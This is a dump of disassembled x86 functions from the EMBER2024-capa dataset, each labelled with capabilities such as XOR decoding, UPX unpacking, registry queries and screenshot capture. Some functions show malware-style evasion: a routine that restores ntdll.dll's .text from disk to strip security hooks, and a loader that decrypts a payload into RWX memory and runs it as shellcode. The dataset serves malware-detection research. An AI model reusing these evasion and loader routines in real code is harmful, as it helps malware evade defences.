joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a561
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0040a5e0
jae 0x40a56d
xor ecx, ecx
call fcn.0040a5e0
jae 0x40a597
xor eax, eax
call fcn.0040a5e0
jae 0x40a5a8
mov al, 0x10
call fcn.0040a5e0
adc al, al
jae 0x40a589
jne 0x40a5d5
stosb byte es:[edi], al
jmp 0x40a56e
call fcn.0040a5ec
dec ecx
loop 0x40a5b4
mov eax, ebp
call fcn.0040a5ea
jmp 0x40a5d6
lodsb al, byte [esi]
shr eax, 1
je 0x40a5fc
adc ecx, 2
mov ebp, eax
jmp 0x40a5d6
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.0040a5ea
cmp eax, 0x7d00
jae 0x40a5d4
cmp eax, 0x500
jae 0x40a5d5
cmp eax, 0x7f
ja 0x40a5d6
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x40a56e
pop ebp
ret 8

Function at 0x408916
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
mov edi, dword [esp]
add esp, 4
add esi, esi
add edx, 0x1513b26d
call fcn.0040894f
mov edx, esi
xor dword [eax], edi
add esi, 1
sub esi, 0xa275f94c
inc eax
add edx, 0x4eafcf10
cmp eax, ebx
jne fcn.00408916
dec esi
and edx, edx
ret

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x40aa794a
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x4a0d2380
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x404bef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40db60]
jne 0x404bf9
repz ret
jmp fcn.0040883b

Function at 0x4060f3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004029c4
and dword [ebp - 4], 0
cmp dword [0x40e54c], 0
mov ebx, eax
jne 0x4061a4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406255
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40aa14
push edi
call esi
test eax, eax
je 0x406255
push eax
call fcn.00402952
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40e54c], eax
call esi
push eax
call fcn.00402952
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40e550], eax
call esi
push eax
call fcn.00402952
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40e554], eax
call esi
push eax
call fcn.00402952
pop ecx
mov dword [0x40e55c], eax
test eax, eax
je 0x4061a4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402952
pop ecx
mov dword [0x40e558], eax
mov eax, dword [0x40e558]
cmp eax, ebx
je 0x4061fc
cmp dword [0x40e55c], ebx
je 0x4061fc
push eax
call fcn.004029cd
push dword [0x40e55c]
mov esi, eax
call fcn.004029cd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061fc
test edi, edi
je 0x4061fc
call esi
test eax, eax
je 0x4061f3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061f3
test byte [ebp - 0xc], 1
jne 0x4061fc
or dword [ebp + 0x10], 0x200000
jmp 0x406235
mov eax, dword [0x40e550]
cmp eax, ebx
je 0x406235
push eax
call fcn.004029cd
pop ecx
test eax, eax
je 0x406235
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406235
mov eax, dword [0x40e554]
cmp eax, ebx
je 0x406235
push eax
call fcn.004029cd
pop ecx
test eax, eax
je 0x406235
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40e54c]
call fcn.004029cd
pop ecx
test eax, eax
je 0x406255
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406257
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401385
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x4013ba
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x4013b7
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x4013c3
add edx, 0x28
cmp edx, esi
jne 0x4013a5
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x4013c0

Function at 0x401805
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401844
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401844
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401844
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401844
cmp dword [ecx + 0x74], 0xe
jbe 0x401844
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x46a1c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4c000]
push edi
or ebp, 0xffffffff
jmp 0x46a1e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x46a1e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46a1d8
mov eax, 1
add ebx, ebx
jne 0x46a1fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x46a20c
jne 0x46a22b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46a22b
dec eax
add ebx, ebx
jne 0x46a218
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x46a1f0
add ebx, ebx
jne 0x46a227
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x46a27d
xor ecx, ecx
sub eax, 3
jb 0x46a243
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x46a2b2
sar eax, 1
mov ebp, eax
jmp 0x46a24e
add ebx, ebx
jne 0x46a24e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46a21c
inc ecx
add ebx, ebx
jne 0x46a25c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46a21c
add ebx, ebx
jne 0x46a269
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x46a25e
jne 0x46a27a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x46a25e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x46a29c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x46a28e
jmp 0x46a1de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x46a29c
add edi, ecx
jmp 0x46a1de
pop esi
mov edi, esi
mov ecx, 0xf7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x46a2ba
cmp byte [edi], 4
jne 0x46a2ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x46a2bf
lea edi, [esi + 0x68000]
mov eax, dword [edi]
or eax, eax
je 0x46a337
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7d184]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7d1c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46a2ec
mov ecx, edi
jns 0x46a31b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7d1c4]
or eax, eax
je 0x46a331
mov dword [ebx], eax
add ebx, 4
jmp 0x46a309
call dword [esi + 0x7d1d4]
mov ebp, dword [esi + 0x7d1c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x46a36b
sub esp, 0xffffff80
jmp 0x402084
Function at 0x401310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40e27c
push dword [0x44914c]
call edi
mov dword [0x449124], eax
call eax
push str.GetModuleHandleA
push dword [0x44914c]
mov ebx, eax
mov dword [esp + 0x38], 0
xorps xmm0, xmm0
mov dword [esp + 0x20], ebx
movq qword [esp + 0x30], xmm0
call edi
push 0x40e2a4
mov dword [0x44910c], eax
call eax
push 0xc
lea ecx, [esp + 0x2c]
mov dword [esp + 0x28], eax
push ecx
push eax
push ebx
call sub.KERNEL32.dll_K32GetModuleInformation
mov ebp, dword [esp + 0x28]
push str.CreateFileA
push dword [0x44914c]
call edi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32_ntdll.dll
mov dword [0x449118], eax
call eax
push 0
push 0
push 0
push 0x1000002
push 0
push eax
mov dword [esp + 0x34], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push str.MapViewOfFile
push dword [0x44914c]
mov ebx, eax
mov dword [esp + 0x28], ebx
call edi
push 0
push 0
push 0
push 4
push ebx
mov dword [0x449120], eax
call eax
mov ebx, dword [ebp + 0x3c]
xor esi, esi
add ebx, ebp
mov dword [esp + 0x14], eax
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x4014a3
movzx eax, si
lea ecx, [eax + eax*4]
movzx eax, word [ebx + 0x14]
add eax, ebx
lea edi, [eax + ecx*8]
mov eax, str..text
lea ecx, [edi + 0x18]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401428
test dl, dl
je 0x401424
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401428
add ecx, 2
add eax, 2
test dl, dl
jne 0x401408
xor eax, eax
jmp 0x40142d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401492
push 0x40e264
push dword [0x44914c]
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4490f8], eax
lea eax, [esp + 0x10]
push eax
mov eax, dword [edi + 0x24]
push 0x40
push dword [edi + 0x20]
add eax, ebp
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [edi + 0x24]
push dword [edi + 0x20]
mov eax, dword [esp + 0x18]
add eax, ecx
push eax
lea eax, [ecx + ebp]
push eax
call fcn.004023a0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
mov eax, dword [edi + 0x24]
push dword [edi + 0x20]
add eax, ebp
push eax
call dword [0x4490f8]
inc esi
cmp si, word [ebx + 6]
jb 0x4013f1
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40e2ec
push dword [0x44914c]
call edi
push dword [esp + 0x18]
mov dword [0x449104], eax
call eax
push dword [esp + 0x1c]
call dword [0x449104]
push dword [esp + 0x20]
call dword [0x449104]
push 0x40e2f8
push dword [0x44914c]
call edi
push dword [esp + 0x24]
mov dword [0x44911c], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x401630
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor

Disassembly:
sub esp, 0x10
push esi
push edi
push 0x40e304
push dword [0x44914c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x449124], eax
call eax
cmp dword [0x449140], 0
mov edi, eax
mov dword [esp + 0x14], 0x33810
je 0x40175f
cmp dword [0x449130], 0
je 0x40175f
cmp dword [0x44913c], 0
je 0x40175f
cmp dword [0x449148], 0
je 0x40175f
cmp dword [0x449144], 0
je 0x40175f
cmp dword [0x44912c], 0
je 0x40175f
cmp dword [0x449150], 0
je 0x40175f
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x40175f
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x18]
call dword [0x449148]
test eax, eax
je 0x40175f
push 0
push 0x10
push section..data
push dword [esp + 0x18]
call dword [0x449144]
test eax, eax
je 0x40175f
lea eax, [esp + 0x10]
push eax
push 0
push dword [esp + 0x14]
push 0x6610
push dword [esp + 0x18]
call dword [0x44912c]
test eax, eax
je 0x40175f
lea eax, [esp + 0x14]
push eax
push 0x415010
push 0
push 0
push 0
push dword [esp + 0x24]
call dword [0x449150]
test eax, eax
je 0x40175f
push 0
push dword [esp + 0xc]
call dword [0x449140]
push dword [esp + 0xc]
call dword [0x449130]
push dword [esp + 0x10]
call dword [0x44913c]
movaps xmm2, xmmword [0x40e320]
xor eax, eax
nop dword [eax + eax]
movups xmm0, xmmword [eax + 0x415010]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x415010], xmm1
movups xmm0, xmmword [eax + 0x415020]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x415020], xmm0
movups xmm0, xmmword [eax + 0x415030]
pxor xmm1, xmm0
movups xmmword [eax + 0x415030], xmm1
movups xmm0, xmmword [eax + 0x415040]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x415040], xmm1
add eax, 0x40
cmp eax, 0x33800
jb 0x401770
cmp eax, 0x33810
jae 0x4017e1
xor byte [eax + 0x415010], 0xc9
inc eax
cmp eax, 0x33810
jb 0x4017d2
push 0x40
push 0x1000
push 0x33810
push 0
push edi
call dword [0x449134]
push 0x33810
mov esi, eax
push 0x415010
push esi
call fcn.004023a0
call esi
push 0x33810
push 0
push 0x415010
call fcn.00402920
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret

Function at 0x4050c0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4050ff
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4050ff
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4050ff
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4050ff
cmp dword [ecx + 0x74], 0xe
jbe 0x4050ff
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4060f9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40f678
push 0x40f670
push str.FlsAlloc
push 0x1f
call fcn.00406015
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40612d
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e120]
call esi
jmp 0x406133
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x406177
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40f688
push 0x40f680
push str.FlsGetValue
push 0x21
call fcn.00406015
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4061ae
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4061b6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40f690
push 0x40f688
push str.FlsSetValue
push 0x22
call fcn.00406015
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4061f0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e120]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x407efc
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x407f99
push ebx
push esi
call fcn.00407ec5
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407e59
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x407f46
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x407f98
push edi
push eax
call fcn.0040878f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x407f66
call fcn.004069a1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x407f97
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407e59
add esp, 0x20
test eax, eax
jne 0x407f85
push edi
call fcn.004069a1
jmp 0x407f8d
push ebx
call fcn.004069a1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1fe100e6
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7be10d0d
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x406344
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
mov esi, edx
mov ebx, eax
mov dword [esp + 8], 4
xor eax, eax
mov dword [esp], eax
test ebx, ebx
je 0x406388
lea eax, [esp + 8]
push eax
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
mov eax, esi
call fcn.00403af4
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x406388
cmp dword [esp + 4], 4
je 0x40638d
xor eax, eax
mov dword [esp], eax
mov eax, dword [esp]
add esp, 0xc
pop esi
pop ebx
ret

Function at 0x406398
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
add eax, 0xfffffff8
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14]
push eax
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
call fcn.00403af4
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
sete al
pop ebp
ret

Function at 0x4063d4
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
mov eax, ebx
call fcn.00403694
cmp dword [ebp - 0xc], 0
je 0x40647a
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0x14], eax
push ebp
call fcn.00406398
pop ecx
test al, al
je 0x40647a
cmp dword [ebp - 4], 1
je 0x406417
cmp dword [ebp - 4], 2
jne 0x40647a
mov eax, dword [ebp - 8]
call fcn.00402830
mov dword [ebp - 0x14], eax
push ebp
call fcn.00406398
pop ecx
test al, al
je 0x406472
cmp dword [ebp - 4], 2
jne 0x406468
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov edi, eax
mov eax, edi
call fcn.00402830
mov esi, eax
push edi
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov eax, ebx
mov edx, esi
call fcn.00403870
mov eax, esi
call fcn.00402860
jmp 0x406472
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00403870
mov eax, dword [ebp - 0x14]
call fcn.00402860
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4065d0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40668f
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp - 4]
call fcn.0040c47c
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0
push edi
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
jne 0x406679
cmp dword [ebp - 8], 0
jbe 0x406677
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call fcn.00402830
mov ebx, eax
xor esi, esi
jmp 0x406655
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403870
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.0040c46c
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 0xc], eax
inc esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
push edi
call sub.advapi32.dll_RegEnumKeyExA
cmp eax, 0x103
jne 0x406638
mov eax, ebx
call fcn.00402860
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406696
lea eax, [ebp - 0x10]
call fcn.00403694
ret

Function at 0x406f68
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffffc
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov edi, dword [ebp + 8]
cmp byte [ebx + 0x18], 0
jne 0x406fe4
mov byte [ebp - 0x1004], 0
mov eax, dword [ebx + 0x19]
call fcn.00403af4
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
mov eax, esi
call fcn.00403af4
push eax
mov eax, dword [ebp - 4]
call fcn.00403af4
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403af4
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
test eax, eax
je 0x406fdb
mov eax, edi
lea edx, [ebp - 0x1004]
mov ecx, 0x1000
call fcn.004038dc
jmp 0x407015
mov eax, edi
call fcn.00403694
jmp 0x407015
mov eax, edi
mov edx, esi
call fcn.004036e8
mov eax, dword [ebx + 0x19]
call fcn.00403af4
push eax
mov eax, esi
call fcn.00403af4
push eax
mov eax, dword [ebp - 4]
call fcn.00403af4
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403af4
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40aa70
Capabilities:
Get file attributes

Disassembly:
push ebx
push eax
push 0x8001
call sub.kernel32.dll_SetErrorMode
xchg ebx, eax
call sub.kernel32.dll_GetFileAttributesA
inc eax
je 0x40aa8b
dec eax
and al, 0x10
setne al
xchg ebx, eax
push eax
call sub.kernel32.dll_SetErrorMode
xchg ebx, eax
pop ebx
ret

Function at 0x40b8b4
Capabilities:
Hide graphical window

Disassembly:
and byte [eax + 0x27], 0xef
test dl, dl
je 0x40b8c0
or byte [eax + 0x27], 0x10
mov ecx, dword [eax + 0x1c]
jecxz 0x40b8d9
push eax
je 0x40b8da
call dword [0x426148]
pop eax
push 5
push dword [eax + 0x1c]
call sub.user32.dll_ShowWindow
ret
and byte [eax + 0x37], 0xfe
push 0
push ecx
call sub.user32.dll_ShowWindow
pop eax
call dword [0x426148]
ret
Function at 0x40cbc4
Capabilities:
Capture screenshot

Disassembly:
push ebx
mov ebx, eax
call fcn.0040cb60
je 0x40cbf6
mov eax, ebx
push edx
call fcn.004094c8
pop edx
cmp eax, edx
je 0x40cbf6
test edx, edx
mov eax, ebx
jne 0x40cbe8
pop ebx
inc edx
jmp fcn.004094b8
mov byte [ebx + 0x49], dl
xor edx, edx
call fcn.004094b8
xchg ebx, eax
cmp eax, 0
pop ebx
jne fcn.0040cc14
ret